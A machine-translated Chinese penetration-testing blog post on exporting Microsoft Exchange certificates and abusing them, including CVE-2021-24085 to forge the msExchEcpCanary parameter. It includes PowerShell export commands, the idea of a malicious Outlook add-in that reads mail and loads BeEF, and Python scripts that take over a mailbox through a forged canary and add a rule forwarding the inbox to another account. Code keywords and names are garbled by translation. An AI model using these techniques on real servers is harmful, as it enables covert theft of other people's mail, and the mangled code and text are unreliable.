发布于2022年11月8日3年前 0x00 前言 在上篇文章《Exchange admin center(EAC)开发指南》 开源了代码eacManage,实现了添加邮箱用户、设置邮箱用户的权限和导出所有邮箱用户列表的功能,本文将要添加证书导出的功能,记录开发细节,分析利用思路。 0x01 简介 本文将要介绍以下内容: 交换证书介绍 交换证书的导出方法 交换证书的利用 0x02 Exchange证书介绍 参考资料: https://份文件。微软。com/en-us/exchange/architecture/客户端访问/证书?view=exch server-2019 #交换证书 交换服务器默认创建以下三个证书: 微软交易所,用于加密交换服务器、同一计算机上的交换服务和从客户端访问服务代理到邮箱服务器上的后端服务的客户端连接之间的内部通信 Microsoft Exchange服务器身份验证证书,用于OAuth服务器间身份验证和集成 WMSVC,此Windows操作系统操作系统自签名证书由(同移民检查员移民检查)中的网管理服务使用,用于启用远程管理网服务器及其关联的网站和应用程序 简单理解: 交换的网络通信数据使用Microsoft Exchange证书进行加密 身份验证功能需要使用Microsoft Exchange服务器身份验证证书证书,例如生成访问工程更改程序服务时的参数msExchEcpCanary 补充: 修改交换网络通信数据使用的证书位置: IIS Manager-Sites-Exchange BackEnd-Bindings…-444-Edit…-SSL certificate 如下图 0x03 Exchange证书的导出方法 1.通过Exchange admin center(EAC)进行界面操作 需要在服务器-证书页面下进行操作 2.Python实现 具体的邮政数据包格式如下: (1)获得每个证书的Thumbprint 请求URL:/ECP/DDI/DDI服务。SVC/获取列表 参数: msExchEcpCanary (计划或理论的)纲要 数据格式:应用程序/json 发送内容: { 过滤器: { 参数: { __type ': JsonDictionaryOfanyType:# Microsoft .交换。管理。'控制面板', SelectedView':'* ' } }, 排序':{} } (2)导出证书 请求URL:/ECP/DDI/DDI服务。SVC/集合对象 参数: msExchEcpCanary (计划或理论的)纲要 数据格式:应用程序/json 发送内容: { "身份": { _ _类型“:”身份:ECP ', 显示名称":", "原始身份": }, 属性: { 参数: { __type ': JsonDictionaryOfanyType:# Microsoft .交换。管理。'控制面板', 明文密码: 文件名: } } } 完整的实现代码已上传至github,地址如下: https://github。com/3g学生Python作业/blob/master/EAC管理器。巴拉圭 3.通过Exchange Management Shell执行Powershell命令 参考资料: https://份文件。微软。com/en-us/exchange/architecture/客户端访问/导出-证书?view=exchserver-2019 列出所有证书: Get-ExchangeCertificate |fl 导出指定证书: export-exchange certificate-thumb print 5e3d 84095391 db 650 ffc 0 ef 27074 b 238 b 3798 fb1-FileName ' C:\ a . pfx '-binary encoded-Password(convert to-secure String-String ' P @ ss w0 rd 1 '-asplain text-Force) 名称为Microsoft Exchange的证书默认无法使用一个抓取光碟音轨的转换工具(精确的音频副本的缩写)或Powershell导出,错误提示: 服务器XXXX上出现特殊的(同radarplanningchart)雷达规划表错误:私钥无法导出为PKCS .它要么无法访问,要么无法导出。 这是因为该证书的PrivateKeyExportable属性为错误的 解决方法:生成新的可导出证书替换原证书 参考资料: https://份文件。微软。com/en-us/exchange/architecture/client-access/certificate-procedures?view=exchserver-2019 (1)定位证书 访问OWA页面,查看证书,获得拇指指纹,如下图 例如测试环境的证书个性特征为5c1f 5866 f 2408 CFB 8 CCD 7b 66 bec BDF 99 BC 279042 (2)生成新的证书 通过交换命令行管理程序执行Powershell命令: 获取-交换证书-指纹5c1f 5866 f 2408 CFB 8 CCD 7b 66 bec BDF 99 BC 279042 | New-exchange certificate-Force-PrivateKeyExportable $ true 返回结果:5 e3d 84095391 db 650 ffc 0 ef 27074 b 238 b 3798 FB 1,如下图 (3) 添加证书对IIS服务器的权限 通过交换命令行管理程序执行Powershell命令: 启用-交换证书-指纹5e3d 84095391 db 650 ffc 0 ef 27074 b 238 b 3798 fb1-服务POP、IMAP、IIS、SMTP 如下图 (4)查看新证书 刷新OWA页面,发现证书已更新,如下图 (5)导出证书 通过交换命令行管理程序执行Powershell命令: export-exchange certificate-thumb print 5e3d 84095391 db 650 ffc 0 ef 27074 b 238 b 3798 fb1-FileName ' C:\ a . pfx '-binary encoded-Password(convert to-secure String-String ' P @ ss w0 rd 1 '-asplain text-Force) 0x04 Exchange证书的利用 1.解密Exchange的通信数据 需要导出Microsoft Exchange证书 详情可参考之前的文章《渗透技巧——Pass the Hash with Exchange Web Service》 2.CVE-2021-24085 需要导出Microsoft Exchange服务器身份验证证书证书 利用Microsoft Exchange服务器身份验证证书证书,可以使用黄色金丝雀生成指定(同突发球形扰动)电离层的突然骚扰用户登录工程更改程序时使用的参数msExchEcpCanary 未打补丁KB4602269的交换服务器在校验身份时,只判断了参数msExchEcpCanary是否正确,未对饼干进行验证,这就导致了攻击者获得Microsoft Exchange服务器身份验证证书证书后,可以生成任意用户(已知SID)的msExchEcpCanary参数,获得邮箱用户的工程更改程序控制权限 获得邮箱用户的工程更改程序控制权限后,在利用上有以下思路: (1)上传恶意插件 参考资料: https://份文件。微软。com/en-us/office/dev/add-ins/tutorials/outlook-tutorial 开发带有特定功能的Office Web加载项,能够读取用户的邮件内容并加载浏览器攻击框架牛肉 限制条件: Office Web加载项需要在观点下使用,通过owa读取邮件不会加载Office Web加载项 (2)添加邮件转发规则 将收件箱收到的邮件转发至另一用户 正常功能的实现代码: #!python3 导入请求 导入系统 导入警告 导入urllib.parse 警告.过滤器警告("忽略") def LoginOWA(网址,用户名,密码): session=requests.session() 打印('[*]尝试登录) url1='https://' url '/owa/auth.owa ' 标题={ 用户代理:' Mozilla/5.0(Windows NT 6.3;win 64x 64)apple WebKit/537.36(KHTML,像壁虎一样)Chrome/81。0 .4044 .129 Safari/537.36 ' } payload=' destination=https://% s/OWA flags=4 force down level=0 username=% spas word=% spas word text=ISU TF 8=1 ' %(URL,用户名,密码) response=session.post(url1,headers=headers,data=payload,verify=False) 如果“X-OWA-金丝雀"作为回应,cookie: 打印('[ ]登录成功) 否则: 如果在响应中出现"时区选择检查",文本: 打印('[ ]首次登录,尝试设置显示语言和本地时区。'); cookie _ obj=请求。饼干。create _ cookie(域=URL,名称='mkt ',值='en-US ') 会话。饼干。set _ cookie(cookie _ obj) OWA加那利=会话。饼干。get _ dict()[' X-OWA-金丝雀] url1='https://' url '/owa/lang.owa ' payload=' destination=locale name=en-ust zid=Dateline Standard timesavlanguageandtimezone=1X-OWA-金丝雀=' owa _金丝雀 标题={ 用户代理:' Mozilla/5.0(Windows NT 6.3;win 64x 64)apple WebKit/537.36(KHTML,像壁虎一样)Chrome/81。0 .4044 .129 Safari/537.36 ', "内容类型":"应用程序/x-www-form-urlencoded " } response=session.post(url1,headers=headers,data=payload,verify=False) 如果响应。状态_代码==200: 打印('[ ]登录成功) 否则: 打印('[!]登录错误:' str(response.status_code)) 退出(0) 否则: 打印('[!]登录错误) 退出(0) url2='https://' url '/ecp/' response=session.get(url2,headers=headers,verify=False) msexchepcanary=响应。cookie[' msexchepcanary '] print(' msexchepcanary:' msexchepcanary) 返回会话,msExchEcpCanary 定义测试(): url='192.168.1.1 ' 用户='测试1 ' 密码='密码123 ' session,msexchepcanary=登录OWA(URL,用户,密码) 标题={ 用户代理:' Mozilla/5.0(Windows NT 6.3;win 64x 64)apple WebKit/537.36(KHTML,像壁虎一样)Chrome/81。0 .4044 .129 Safari/537.36 ' } p={ ' msexchepcanary ':msexchepcanary } d={ ' properties ':{ ' forward to ':[{ ' raw identity ':' test2 @ test。' com ',' DisplayName':'test2 ',' Address':'[email protected] ',' AddressOrigin':0,' galContactGuid ':' 2cc 82 f 35-2 a13-449 c-ab48-3843 a7 F2 b 615 ',' RecipientFlag':0,' RoutingType':'SMTP ',' SMTP Address ':' test 2 @ test。com ' }],' Name':'1 ',' stoppingrules ':' true URL 3=' https://' URL '/ECP/规则编辑器/收件箱规则。' SVC/新对象' response=session.post(url3,headers=headers,params=p,json=d,verify=False) 打印(响应。文本) if __name__=='__main__ ': 测试() CVE-2021-24085的实现代码: #!python3 导入请求 导入系统 导入警告 导入urllib.parse 警告.过滤器警告("忽略") 定义测试(): url='192.168.1.1 ' msexchepcanary=' p 7 btz 10 tmk ss 6 _-vy8gg 2 uakfeimjnkitu-6 jjr 0 jbzca 7 rccr 0 o 5 cyxhyrw 5 ki 6 oekc-sum 3 VW ' 标题={ 用户代理:' Mozilla/5.0(Windows NT 6.3;win 64x 64)apple WebKit/537.36(KHTML,像壁虎一样)Chrome/81。0 .4044 .129 Safari/537.36 ' } p={ ' msexchepcanary ':msexchepcanary } d={ ' properties ':{ ' forward to ':[{ ' raw identity ':' test2 @ test。' com ',' DisplayName':'test2 ',' Address':'[email protected] ',' AddressOrigin':0,' galContactGuid ':' 2cc 82 f 35-2 a13-449 c-ab48-3843 a7 F2 b 615 ',' RecipientFlag':0,' RoutingType':'SMTP ',' SMTP Address ':' test 2 @ test。com ' }],' Name':'1 ',' stoppingrules ':' true URL 3=' https://' URL '/ECP/规则编辑器/收件箱规则。' SVC/新对象' response=requests.post(url3,headers=headers,params=p,json=d,verify=False) 打印(响应。文本) if __name__=='__main__ ': 测试() 0x05 小结 本文对交换证书的导出方法和利用思路进行介绍,更新代码eacManage,添加导出证书的功能,记录实现细节。 留下回复
创建帐户或登录后发表意见